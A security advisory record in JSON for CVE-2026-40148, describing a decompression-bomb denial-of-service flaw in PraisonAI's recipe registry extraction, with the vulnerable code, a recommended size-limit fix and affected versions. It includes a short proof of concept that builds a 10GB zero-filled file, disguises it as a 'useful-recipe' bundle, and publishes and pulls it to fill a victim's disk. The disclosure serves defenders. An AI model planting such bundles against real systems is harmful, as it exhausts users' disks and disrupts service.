{"id":"PYSEC-2026-2912","summary":"PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits","details":"## Summary\n\nThe `_safe_extractall()` function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling `tar.extractall()`. An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via `LocalRegistry.pull()` or `HttpRegistry.pull()`.\n\n## Details\n\nThe vulnerable function is `_safe_extractall()` at `src/praisonai/praisonai/recipe/registry.py:131-162`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n    dest_resolved = dest_dir.resolve()\n    for member in tar.getmembers():\n        member_path = Path(member.name)\n        # Reject absolute paths\n        if member_path.is_absolute():\n            raise RegistryError(...)\n        # Reject '..' components\n        if '..' in member_path.parts:\n            raise RegistryError(...)\n        # Reject resolved paths escaping dest_dir\n        resolved = (dest_resolved / member_path).resolve()\n        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n            raise RegistryError(...)\n    # All members validated — safe to extract\n    tar.extractall(dest_dir)  # \u003c-- No size limit\n```\n\nThe function iterates all tar members and checks for path traversal (absolute paths, `..` components, resolved path escaping), but never inspects `member.size`. The `TarInfo.size` attribute is available on every member and represents the uncompressed size, but it is never read.\n\nThis function is called from two locations:\n- `LocalRegistry.pull()` at line 396-397\n- `HttpRegistry.pull()` at line 791-792\n\nThe `publish()` method at line 296-298 only copies the compressed bundle via `shutil.copy2()`, so the bomb only detonates when a victim calls `pull()`.\n\nNo size limits, upload quotas, or decompression guards exist anywhere in the registry module.\n\n## PoC\n\n```bash\n# Step 1: Create a malicious recipe bundle\nmkdir bomb && cd bomb\n\ncat \u003e manifest.json \u003c\u003c 'EOF'\n{\"name\": \"useful-recipe\", \"version\": \"1.0.0\", \"description\": \"Helpful AI recipe\", \"tags\": [\"ai\"], \"files\": [\"agent.yaml\"]}\nEOF\n\n# Create a 10GB file of zeros (compresses to ~10MB with gzip)\ndd if=/dev/zero of=agent.yaml bs=1M count=10240\n\n# Bundle it as a .praison file\ntar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml\ncd ..\n\n# Step 2: Publish to local registry (~10MB stored)\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.publish('useful-recipe-1.0.0.praison')\n\"\n\n# Step 3: Victim pulls — extracts 10GB to disk\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.pull('useful-recipe')\n\"\n# Result: 10GB+ written to disk, potential disk exhaustion\n```\n\n## Impact\n\n- **Disk exhaustion:** A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system.\n- **No authentication required:** The local registry has no access controls on `publish()`, and HTTP registry bundles are fetched from remote servers that the attacker controls.\n- **Silent detonation:** The extraction happens automatically during `pull()` with no progress indication or size warning to the user.\n\n## Recommended Fix\n\nAdd a maximum extraction size limit to `_safe_extractall()`:\n\n```python\nMAX_EXTRACT_SIZE = 500 * 1024 * 1024  # 500MB\nMAX_MEMBER_COUNT = 1000\n\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n    dest_resolved = dest_dir.resolve()\n    members = tar.getmembers()\n    \n    if len(members) \u003e MAX_MEMBER_COUNT:\n        raise RegistryError(\n            f\"Archive contains too many members ({len(members)} \u003e {MAX_MEMBER_COUNT})\"\n        )\n    \n    total_size = 0\n    for member in members:\n        member_path = Path(member.name)\n        if member_path.is_absolute():\n            raise RegistryError(\n                f\"Refusing to extract absolute path in archive: {member.name}\"\n            )\n        if '..' in member_path.parts:\n            raise RegistryError(\n                f\"Refusing to extract path traversal in archive: {member.name}\"\n            )\n        resolved = (dest_resolved / member_path).resolve()\n        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n            raise RegistryError(\n                f\"Refusing to extract path escaping target directory: {member.name}\"\n            )\n        total_size += member.size\n        if total_size \u003e MAX_EXTRACT_SIZE:\n            raise RegistryError(\n                f\"Archive extraction would exceed size limit \"\n                f\"({total_size} \u003e {MAX_EXTRACT_SIZE} bytes)\"\n            )\n    tar.extractall(dest_dir)\n```","aliases":["CVE-2026-40148","GHSA-f2h6-7xfr-xm8w"],"modified":"2026-07-13T16:33:02.297922817Z","published":"2026-07-13T14:36:51.881137Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f2h6-7xfr-xm8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40148"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f2h6-7xfr-xm8w"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.128"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.13","4.5.14","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-2912.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}]}